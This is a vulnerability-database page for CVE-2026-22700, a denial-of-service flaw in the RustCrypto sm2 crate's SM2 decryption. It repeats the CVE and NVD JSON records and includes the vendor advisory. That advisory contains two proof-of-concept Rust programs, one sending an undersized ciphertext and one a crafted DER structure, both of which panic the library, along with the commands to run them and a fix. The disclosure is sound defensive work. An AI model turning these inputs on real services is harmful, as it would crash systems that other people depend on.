Vulnerability-Lookup

CVE-2026-22700 (GCVE-0-2026-22700)

Vulnerability from cvelistv5 – Published: 2026-01-10 05:17 – Updated: 2026-01-12 14:46

Title

RustCrypto Has Insufficient Length Validation in decrypt() in SM2-PKE

Summary

RustCrypto: Elliptic Curves is general purpose Elliptic Curve Cryptography (ECC) support, including types and traits for representing various elliptic curve forms, scalars, points, and public/secret keys composed thereof. In versions 0.14.0-pre.0 and 0.14.0-rc.0, a denial-of-service vulnerability exists in the SM2 public-key encryption (PKE) implementation: the decrypt() path performs unchecked slice::split_at operations on input buffers derived from untrusted ciphertext. An attacker can submit short/undersized ciphertext or carefully-crafted DER-encoded structures to trigger bounds-check panics (Rust unwinding) which crash the calling thread or process. This issue has been patched via commit e60e991.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-01-12 14:46 UTC

CWE

CWE-20 - Improper Input Validation

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/RustCrypto/elliptic-curves/sec…	x_refsource_CONFIRM
https://github.com/RustCrypto/elliptic-curves/pull/1603	x_refsource_MISC
https://github.com/RustCrypto/elliptic-curves/com…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
RustCrypto	elliptic-curves	Affected: = 0.14.0-pre.0 Affected: = 0.14.0-rc.0	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-22700",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-01-12T14:46:42.360189Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-01-12T14:46:46.227Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/RustCrypto/elliptic-curves/security/advisories/GHSA-j9xq-69pf-pcm8"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "elliptic-curves",
          "vendor": "RustCrypto",
          "versions": [
            {
              "status": "affected",
              "version": "= 0.14.0-pre.0"
            },
            {
              "status": "affected",
              "version": "= 0.14.0-rc.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "RustCrypto: Elliptic Curves is general purpose Elliptic Curve Cryptography (ECC) support, including types and traits for representing various elliptic curve forms, scalars, points, and public/secret keys composed thereof. In versions 0.14.0-pre.0 and 0.14.0-rc.0, a denial-of-service vulnerability exists in the SM2 public-key encryption (PKE) implementation: the decrypt() path performs unchecked slice::split_at operations on input buffers derived from untrusted ciphertext. An attacker can submit short/undersized ciphertext or carefully-crafted DER-encoded structures to trigger bounds-check panics (Rust unwinding) which crash the calling thread or process. This issue has been patched via commit e60e991."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-20",
              "description": "CWE-20: Improper Input Validation",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-01-10T05:17:25.583Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/RustCrypto/elliptic-curves/security/advisories/GHSA-j9xq-69pf-pcm8",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/RustCrypto/elliptic-curves/security/advisories/GHSA-j9xq-69pf-pcm8"
        },
        {
          "name": "https://github.com/RustCrypto/elliptic-curves/pull/1603",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/RustCrypto/elliptic-curves/pull/1603"
        },
        {
          "name": "https://github.com/RustCrypto/elliptic-curves/commit/e60e99167a9a2b187ebe80c994c5204b0fdaf4ab",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/RustCrypto/elliptic-curves/commit/e60e99167a9a2b187ebe80c994c5204b0fdaf4ab"
        }
      ],
      "source": {
        "advisory": "GHSA-j9xq-69pf-pcm8",
        "discovery": "UNKNOWN"
      },
      "title": "RustCrypto Has Insufficient Length Validation in decrypt() in SM2-PKE"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-22700",
    "datePublished": "2026-01-10T05:17:25.583Z",
    "dateReserved": "2026-01-08T19:23:09.856Z",
    "dateUpdated": "2026-01-12T14:46:46.227Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-22700",
      "date": "2026-09-18",
      "epss": "0.00305",
      "percentile": "0.23424"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "elliptic-curves",
                "vendor": "RustCrypto",
                "versions": [
                  {
                    "status": "affected",
                    "version": "= 0.14.0-pre.0"
                  },
                  {
                    "status": "affected",
                    "version": "= 0.14.0-rc.0"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "configurations": [
          {
            "nodes": [
              {
                "cpeMatch": [
                  {
                    "criteria": "cpe:2.3:a:rustcrypto:sm2_elliptic_curve:0.14.0:pre0:*:*:*:rust:*:*",
                    "matchCriteriaId": "5F5BCFE9-1585-4A90-857F-7F9E1B9C9ADA",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:rustcrypto:sm2_elliptic_curve:0.14.0:rc0:*:*:*:rust:*:*",
                    "matchCriteriaId": "B584C50F-8ED4-45F4-8799-7CCFE8D4DF66",
                    "vulnerable": true
                  }
                ],
                "negate": false,
                "operator": "OR"
              }
            ]
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "RustCrypto: Elliptic Curves is general purpose Elliptic Curve Cryptography (ECC) support, including types and traits for representing various elliptic curve forms, scalars, points, and public/secret keys composed thereof. In versions 0.14.0-pre.0 and 0.14.0-rc.0, a denial-of-service vulnerability exists in the SM2 public-key encryption (PKE) implementation: the decrypt() path performs unchecked slice::split_at operations on input buffers derived from untrusted ciphertext. An attacker can submit short/undersized ciphertext or carefully-crafted DER-encoded structures to trigger bounds-check panics (Rust unwinding) which crash the calling thread or process. This issue has been patched via commit e60e991."
          },
          {
            "lang": "es",
            "value": "RustCrypto: Curvas El\u00edpticas es soporte de Criptograf\u00eda de Curva El\u00edptica (ECC) de prop\u00f3sito general, incluyendo tipos y rasgos para representar varias formas de curvas el\u00edpticas, escalares, puntos y claves p\u00fablicas/secretas compuestas de ellos. En las versiones 0.14.0-pre.0 y 0.14.0-rc.0, existe una vulnerabilidad de denegaci\u00f3n de servicio en la implementaci\u00f3n de cifrado (PKE) de clave p\u00fablica SM2: la ruta decrypt() realiza operaciones slice::split_at sin verificar en b\u00faferes de entrada derivados de texto cifrado no confiable. Un atacante puede enviar texto cifrado corto/subdimensionado o estructuras codificadas en DER cuidadosamente elaboradas para activar p\u00e1nicos de verificaci\u00f3n de l\u00edmites (desenrolle de Rust) que bloquean el hilo o proceso que realiza la llamada. Este problema ha sido parcheado mediante el commit e60e991."
          }
        ],
        "id": "CVE-2026-22700",
        "lastModified": "2026-06-17T10:20:15.560",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 7.5,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "NONE",
                "integrityImpact": "NONE",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
                "version": "3.1"
              },
              "exploitabilityScore": 3.9,
              "impactScore": 3.6,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-22700",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "yes"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-01-12T14:46:42.360189Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-01-10T06:15:52.517",
        "references": [
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Patch"
            ],
            "url": "https://github.com/RustCrypto/elliptic-curves/commit/e60e99167a9a2b187ebe80c994c5204b0fdaf4ab"
          },
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Patch"
            ],
            "url": "https://github.com/RustCrypto/elliptic-curves/pull/1603"
          },
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Exploit",
              "Vendor Advisory"
            ],
            "url": "https://github.com/RustCrypto/elliptic-curves/security/advisories/GHSA-j9xq-69pf-pcm8"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "tags": [
              "Exploit",
              "Vendor Advisory"
            ],
            "url": "https://github.com/RustCrypto/elliptic-curves/security/advisories/GHSA-j9xq-69pf-pcm8"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Analyzed",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-20"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          },
          {
            "description": [
              {
                "lang": "en",
                "value": "NVD-CWE-noinfo"
              }
            ],
            "source": "nvd@nist.gov",
            "type": "Primary"
          }
        ]
      }
    },
    "redhat_vex": {
      "current_release_date": "2026-01-13T22:52:15+00:00",
      "cve": "CVE-2026-22700",
      "id": "CVE-2026-22700",
      "initial_release_date": "2026-01-01T00:00:00+00:00",
      "product_status:known_not_affected": "1",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "RustCrypto Has Insufficient Length Validation in decrypt() in SM2-PKE",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-22700.json",
      "version": "3"
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-22700",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "yes"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-01-12T14:46:42.360189Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-01-12T14:46:26.854Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/RustCrypto/elliptic-curves/security/advisories/GHSA-j9xq-69pf-pcm8"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "elliptic-curves",
              "vendor": "RustCrypto",
              "versions": [
                {
                  "status": "affected",
                  "version": "= 0.14.0-pre.0"
                },
                {
                  "status": "affected",
                  "version": "= 0.14.0-rc.0"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "RustCrypto: Elliptic Curves is general purpose Elliptic Curve Cryptography (ECC) support, including types and traits for representing various elliptic curve forms, scalars, points, and public/secret keys composed thereof. In versions 0.14.0-pre.0 and 0.14.0-rc.0, a denial-of-service vulnerability exists in the SM2 public-key encryption (PKE) implementation: the decrypt() path performs unchecked slice::split_at operations on input buffers derived from untrusted ciphertext. An attacker can submit short/undersized ciphertext or carefully-crafted DER-encoded structures to trigger bounds-check panics (Rust unwinding) which crash the calling thread or process. This issue has been patched via commit e60e991."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 7.5,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "NONE",
                "integrityImpact": "NONE",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-20",
                  "description": "CWE-20: Improper Input Validation",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-01-10T05:17:25.583Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/RustCrypto/elliptic-curves/security/advisories/GHSA-j9xq-69pf-pcm8",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/RustCrypto/elliptic-curves/security/advisories/GHSA-j9xq-69pf-pcm8"
            },
            {
              "name": "https://github.com/RustCrypto/elliptic-curves/pull/1603",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/RustCrypto/elliptic-curves/pull/1603"
            },
            {
              "name": "https://github.com/RustCrypto/elliptic-curves/commit/e60e99167a9a2b187ebe80c994c5204b0fdaf4ab",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/RustCrypto/elliptic-curves/commit/e60e99167a9a2b187ebe80c994c5204b0fdaf4ab"
            }
          ],
          "source": {
            "advisory": "GHSA-j9xq-69pf-pcm8",
            "discovery": "UNKNOWN"
          },
          "title": "RustCrypto Has Insufficient Length Validation in decrypt() in SM2-PKE"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-22700",
        "datePublished": "2026-01-10T05:17:25.583Z",
        "dateReserved": "2026-01-08T19:23:09.856Z",
        "dateUpdated": "2026-01-12T14:46:46.227Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-22700

Vulnerability from fkie_nvd - Published: 2026-01-10 06:15 - Updated: 2026-06-17 10:20

Severity

7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/RustCrypto/elliptic-curves/commit/e60e99167a9a2b187ebe80c994c5204b0fdaf4ab	Patch
security-advisories@github.com	https://github.com/RustCrypto/elliptic-curves/pull/1603	Patch
security-advisories@github.com	https://github.com/RustCrypto/elliptic-curves/security/advisories/GHSA-j9xq-69pf-pcm8	Exploit, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/RustCrypto/elliptic-curves/security/advisories/GHSA-j9xq-69pf-pcm8	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	rustcrypto	sm2_elliptic_curve	0.14.0
	rustcrypto	sm2_elliptic_curve	0.14.0

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "elliptic-curves",
          "vendor": "RustCrypto",
          "versions": [
            {
              "status": "affected",
              "version": "= 0.14.0-pre.0"
            },
            {
              "status": "affected",
              "version": "= 0.14.0-rc.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:rustcrypto:sm2_elliptic_curve:0.14.0:pre0:*:*:*:rust:*:*",
              "matchCriteriaId": "5F5BCFE9-1585-4A90-857F-7F9E1B9C9ADA",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:rustcrypto:sm2_elliptic_curve:0.14.0:rc0:*:*:*:rust:*:*",
              "matchCriteriaId": "B584C50F-8ED4-45F4-8799-7CCFE8D4DF66",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "RustCrypto: Elliptic Curves is general purpose Elliptic Curve Cryptography (ECC) support, including types and traits for representing various elliptic curve forms, scalars, points, and public/secret keys composed thereof. In versions 0.14.0-pre.0 and 0.14.0-rc.0, a denial-of-service vulnerability exists in the SM2 public-key encryption (PKE) implementation: the decrypt() path performs unchecked slice::split_at operations on input buffers derived from untrusted ciphertext. An attacker can submit short/undersized ciphertext or carefully-crafted DER-encoded structures to trigger bounds-check panics (Rust unwinding) which crash the calling thread or process. This issue has been patched via commit e60e991."
    },
    {
      "lang": "es",
      "value": "RustCrypto: Curvas El\u00edpticas es soporte de Criptograf\u00eda de Curva El\u00edptica (ECC) de prop\u00f3sito general, incluyendo tipos y rasgos para representar varias formas de curvas el\u00edpticas, escalares, puntos y claves p\u00fablicas/secretas compuestas de ellos. En las versiones 0.14.0-pre.0 y 0.14.0-rc.0, existe una vulnerabilidad de denegaci\u00f3n de servicio en la implementaci\u00f3n de cifrado (PKE) de clave p\u00fablica SM2: la ruta decrypt() realiza operaciones slice::split_at sin verificar en b\u00faferes de entrada derivados de texto cifrado no confiable. Un atacante puede enviar texto cifrado corto/subdimensionado o estructuras codificadas en DER cuidadosamente elaboradas para activar p\u00e1nicos de verificaci\u00f3n de l\u00edmites (desenrolle de Rust) que bloquean el hilo o proceso que realiza la llamada. Este problema ha sido parcheado mediante el commit e60e991."
    }
  ],
  "id": "CVE-2026-22700",
  "lastModified": "2026-06-17T10:20:15.560",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-22700",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-01-12T14:46:42.360189Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-01-10T06:15:52.517",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/RustCrypto/elliptic-curves/commit/e60e99167a9a2b187ebe80c994c5204b0fdaf4ab"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/RustCrypto/elliptic-curves/pull/1603"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/RustCrypto/elliptic-curves/security/advisories/GHSA-j9xq-69pf-pcm8"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/RustCrypto/elliptic-curves/security/advisories/GHSA-j9xq-69pf-pcm8"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-20"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "NVD-CWE-noinfo"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

GHSA-J9XQ-69PF-PCM8

Vulnerability from github – Published: 2026-01-13 15:02 – Updated: 2026-01-13 15:02

Summary

RustCrypto Has Insufficient Length Validation in decrypt() in SM2-PKE

Details

Summary

A denial-of-service vulnerability exists in the SM2 public-key encryption (PKE) implementation: the decrypt() path performs unchecked slice::split_at operations on input buffers derived from untrusted ciphertext. An attacker can submit short/undersized ciphertext or carefully-crafted DER-encoded structures to trigger bounds-check panics (Rust unwinding) which crash the calling thread or process.

Affected Component / Versions

File: src/pke/decrypting.rs
Functions: DecryptingKey::decrypt_digest/decrypt/decrypt_der, internal decrypt() implementation
Affected releases:
sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

Details

The vulnerability is located in the file sm2/src/pke/decrypting.rs. The fundamental cause of the vulnerability is that the decryption function does not strictly check the ciphertext's format and length information. Consequently, a maliciously crafted ciphertext can trigger Rust's panic mechanism instead of the expected error handling (Error) mechanism. The Rust function C.split_at(L) will trigger a Panic if the length is less than L, as shown in the code comment below: the decrypting function has at least three locations where a slice operation might trigger a Panic.

fn decrypt(
    secret_scalar: &Scalar,
    mode: Mode,
    hasher: &mut dyn DynDigest,
    cipher: &[u8],
) -> Result<Vec<u8>> {
    let q = U256::from_be_hex(FieldElement::MODULUS);
    let c1_len = q.bits().div_ceil(8) * 2 + 1;  // Typically 65 for SM2

    // B1: get 𝐶1 from 𝐶
    let (c1, c) = cipher.split_at(c1_len as usize);  // PANIC HERE if cipher.len() < 65
    let encoded_c1 = EncodedPoint::from_bytes(c1).map_err(Error::from)?;

    // ... (lines 170-178 omitted)

    let digest_size = hasher.output_size();  // Typically 32 for SM3
    let (c2, c3) = match mode {
        Mode::C1C3C2 => {
            let (c3, c2) = c.split_at(digest_size);  // PANIC HERE if c.len() < 32
            (c2, c3)
        }
        Mode::C1C2C3 => c.split_at(c.len() - digest_size),  // PANIC HERE if c.len() < 32
    };

Rust's slice::split_at panics when the split index is greater than the slice length. A panic in library code typically unwinds the thread and can crash an application if not explicitly caught. This means an attacker that can submit ciphertexts to a service using this library may cause a DoS.

Proof of Concept (PoC)

Two PoCs were added to this repository under examples/ demonstrating the two common ways to trigger the issue:

examples/poc_short_ciphertext.rs — constructs a deliberately undersized ciphertext (e.g., vec![0u8; 10]) and passes it to DecryptingKey::decrypt. This triggers the cipher.split_at(c1_len) panic.

`` rust //! PoC: trigger panic in SM2 decryption by supplying a ciphertext that is shorter //! than the expected C1 length so thatcipher.split_at(c1_len)` panics. //! //! Usage: //! cargo run --example poc_short_ciphertext

use rand_core::OsRng;

use sm2::pke::DecryptingKey; use sm2::SecretKey;

fn main() { // Generate a normal secret key and DecryptingKey instance. let mut rng = OsRng; let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key"); let dk = DecryptingKey::new(sk);

  // to trigger the vulnerability in `decrypt()` where it does `cipher.split_at(c1_len)`.
  let short_ciphertext = vec![0u8; 10]; // deliberately too short

  println!("Calling decrypt with undersized ciphertext (len = {})...", short_ciphertext.len());

  // The panic is the PoC for the lack of length validation.
  let _ = dk.decrypt(&short_ciphertext);

  // If the library were robust, this line would be reached and decrypt would return Err.
  println!("decrypt returned (unexpected) - PoC did not panic");

} ```

examples/poc_der_short.rs — constructs an ASN.1 Cipher structure with valid-length x/y coordinates (from a generated public key) but with tiny digest and cipher OCTET STRING fields (1 byte each). When run with the crate built with --features std, Cipher::from_der accepts the DER and the call flows into decrypt(), which then panics on the later split_at.

``` rust //! Usage: //! RUST_BACKTRACE=1 cargo run --example poc_der_short --features std

use rand_core::OsRng; use sm2::SecretKey; use sm2::pke::DecryptingKey;

fn build_der(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec { // Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher } let mut body = Vec::new();

  // INTEGER x
  body.push(0x02);
  body.push(x.len() as u8);
  body.extend_from_slice(x);

  // INTEGER y
  body.push(0x02);
  body.push(y.len() as u8);
  body.extend_from_slice(y);

  // OCTET STRING digest (intentionally tiny)
  body.push(0x04);
  body.push(digest.len() as u8);
  body.extend_from_slice(digest);

  // OCTET STRING cipher (intentionally tiny)
  body.push(0x04);
  body.push(cipher.len() as u8);
  body.extend_from_slice(cipher);

  // SEQUENCE header
  let mut der = Vec::new();
  der.push(0x30);
  der.push(body.len() as u8);
  der.extend(body);
  der

}

fn main() { let mut rng = OsRng; let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key"); // Extract recipient public key coordinates before moving the secret key into DecryptingKey let pk = sk.public_key(); let dk = DecryptingKey::new(sk); // get SEC1 encoding 0x04 || X || Y and slice out X and Y let sec1 = pk.to_sec1_bytes(); let sec1_ref: &[u8] = sec1.as_ref(); let x = &sec1_ref[1..33]; let y = &sec1_ref[33..65]; // Very small digest and cipher to trigger length-based panics inside decrypt() let digest = [0x33u8; 1]; let cipher = [0x44u8; 1];

  let der = build_der(x, y, &digest, &cipher);

  println!("Calling decrypt_der with crafted short DER (len={})...", der.len());

  // Expected to panic inside decrypt() due to missing length checks when splitting
  let _ = dk.decrypt_der(&der);

  println!("decrypt_der returned (unexpected) - PoC did not panic");

} ```

Reproduction (from repository root):

# PoC that directly uses decrypt on a short buffer
cargo run --example poc_short_ciphertext --features std

# PoC that passes a short DER to decrypt_der
RUST_BACKTRACE=1 cargo run --example poc_der_short --features std

Impact

Direct Denial of Service: remote untrusted input can crash the thread/process handling decryption.
Low attacker effort: crafting short inputs or small DER octet strings is trivial.
Wide exposure: any application that exposes decryption endpoints and links this library is at risk.

Recommended Fix

Perform defensive length checks before any split_at usage and return a controlled Err instead of allowing a panic. Minimal fixes in decrypt():

let c1_len_usize = c1_len as usize;
if cipher.len() < c1_len_usize {
    return Err(Error);
}
let (c1, c) = cipher.split_at(c1_len_usize);

let digest_size = hasher.output_size();
if c.len() < digest_size {
    return Err(Error);
}
let (c2, c3) = match mode {
    Mode::C1C3C2 => {
        let (c3, c2) = c.split_at(digest_size);
        (c2, c3)
    }
    Mode::C1C2C3 => c.split_at(c.len() - digest_size),
};

After applying these checks, decrypt() will return an error for short or malformed inputs instead of panicking.

Credit

This vulnerability was discovered by:

XlabAI Team of Tencent Xuanwu Lab
Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If you have any questions regarding the vulnerability details, please feel free to reach out to us for further discussion. Our email address is xlabai@tencent.com.

Note

We follow the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "sm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.14.0-pre.0"
            },
            {
              "last_affected": "0.14.0-rc.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22700"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-13T15:02:23Z",
    "nvd_published_at": "2026-01-10T06:15:52Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA denial-of-service vulnerability exists in the SM2 public-key encryption (PKE) implementation: the `decrypt()` path performs unchecked `slice::split_at` operations on input buffers derived from untrusted ciphertext. An attacker can submit short/undersized ciphertext or carefully-crafted DER-encoded structures to trigger bounds-check panics (Rust unwinding) which crash the calling thread or process.\n\n\n### Affected Component / Versions\n\n- File: `src/pke/decrypting.rs`\n\n- Functions: `DecryptingKey::decrypt_digest/decrypt/decrypt_der`, internal `decrypt()` implementation\n\n- Affected releases: \n  \n  - sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)\n  - sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)\n  \n  \n\n\n### Details\n\nThe vulnerability is located in the file `sm2/src/pke/decrypting.rs`. The **fundamental cause** of the vulnerability is that the decryption function **does not strictly check** the ciphertext\u0027s format and length information. Consequently, a maliciously crafted ciphertext can trigger Rust\u0027s **panic mechanism** instead of the expected error handling (`Error`) mechanism. The Rust function `C.split_at(L)` will trigger a Panic if the length is less than `L`, as shown in the code comment below: the `decrypting` function has **at least three locations** where a slice operation might trigger a Panic.\n\n```rust\nfn decrypt(\n    secret_scalar: \u0026Scalar,\n    mode: Mode,\n    hasher: \u0026mut dyn DynDigest,\n    cipher: \u0026[u8],\n) -\u003e Result\u003cVec\u003cu8\u003e\u003e {\n    let q = U256::from_be_hex(FieldElement::MODULUS);\n    let c1_len = q.bits().div_ceil(8) * 2 + 1;  // Typically 65 for SM2\n\n    // B1: get \ud835\udc361 from \ud835\udc36\n    let (c1, c) = cipher.split_at(c1_len as usize);  // PANIC HERE if cipher.len() 